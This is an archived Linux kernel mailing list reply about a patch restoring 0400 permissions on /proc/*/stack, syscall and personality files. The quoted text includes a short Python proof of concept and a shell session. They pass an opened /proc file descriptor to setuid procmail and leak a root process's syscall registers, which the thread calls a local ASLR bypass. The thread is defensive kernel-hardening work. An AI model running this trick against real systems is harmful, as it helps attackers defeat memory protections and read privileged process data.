Messages in this thread | | | Date | Wed, 28 Aug 2013 22:11:17 +0100 | From | Djalal Harouni <> | Subject | Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality} |
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On Wed, Aug 28, 2013 at 01:49:06PM -0700, Kees Cook wrote: > On Wed, Aug 28, 2013 at 1:11 PM, Djalal Harouni <tixxdz@opendz.org> wrote: [...] > >> 2) > >> The commit log says also: > >> "if you open a file before the target does suid-root exec, you'll be still > >> able to access it." so you do the task is tracable check at read() > >> > >> But what if you open a file of a privileged target or a target that does > >> suid-root exec later, and pass the fd to a suid-root exec to read() from > >> it later, you will still pass that tracable check. > >> > >> And currently a non-privileged process can get an fd on all these > >> /proc/*/stack files even root owned ones. > >> > >> So why not restore the old behaviour and block a process from getting an > >> fd on /proc/*/stack files that belong to other processes? > >> > >> > >> The original thread that added the /proc/*/stack feature: > >> https://lkml.org/lkml/2008/11/7/109 > >> > >> They noted that it should be under 0400 permissions > > Yes, this was discussed years ago -- these files must be 0400 _and_ > perform at-read checks. > > https://lkml.org/lkml/2011/2/10/21 > > This is all related to > http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1020 > > Which had the following fixes, but broken file access perms in several places: > > http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=a9712bc12c40c172e393f85a9b2ba8db4bf59509 > http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2fadaef41283aad7100fa73f01998cddaca25833 > http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d6f64b89d7ff22ce05896ab4a93a653e8d0b123d > http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ec6fd8a4355cda81cd9f06bebc048e83eb514ac7 > http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ca6b0bf0e086513b9ee5efc0aa5770ecb57778af Yes thanks Kees, they are all related.
> > tixxdz@dztty-qemu:~$ id > > uid=1000(tixxdz) gid=1000(tixxdz) > > groups=1000(tixxdz),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev) > > > > tixxdz@dztty-qemu:~$ ls -lha ./a.out > > -rwxr-xr-x 1 tixxdz tixxdz 8.0K Aug 28 20:26 ./a.out > > > > tixxdz@dztty-qemu:~$ ls -lha /usr/bin/procmail > > -rwsr-sr-x 1 root mail 88K Apr 25 2010 /usr/bin/procmail > > > > (procmail with -d needs setuid()) > > > > tixxdz@dztty-qemu:~$ for i in $(seq 1 10); do ./a.out /usr/bin/procmail > > /proc/$i/stack ; done > > Can you include your C file for your a.out? I assume you're opening > /proc/$i/stack and duping to stdin for a "procmail -d tixxdz" call, > and I can reproduce this with the following python, but I want to be > sure I'm seeing the same bug. Yes it's exaclty the same PoC and bug
> #!/usr/bin/python > import sys > from subprocess import call > call(["/usr/bin/procmail", "-d", sys.argv[2]], stdin=open(sys.argv[1])) > > > $ ps -ef | grep apache2 | grep root > root 3781 1 0 Jul28 ? 00:00:37 /usr/sbin/apache2 -k start > $ cat /proc/3781/stack > cat: /proc/3781/stack: Operation not permitted > $ /tmp/dup-stdin.py /proc/3781/syscall kees > $ cat /var/mail/kees > 23 0x0 0x0 0x0 0x0 0x7fffa29c9cf0 0x1 0x7fffa29c9d18 0x7f1b76bbd233 > > So, local ASLR bypass using a setuid helper. > > One shouldn't be able to open these files in the first place. Yes that's what I've been trying to say: https://lkml.org/lkml/2013/8/26/354
Hope that Al will peek the patches.
Thanks
-- Djalal Harouni http://opendz.org
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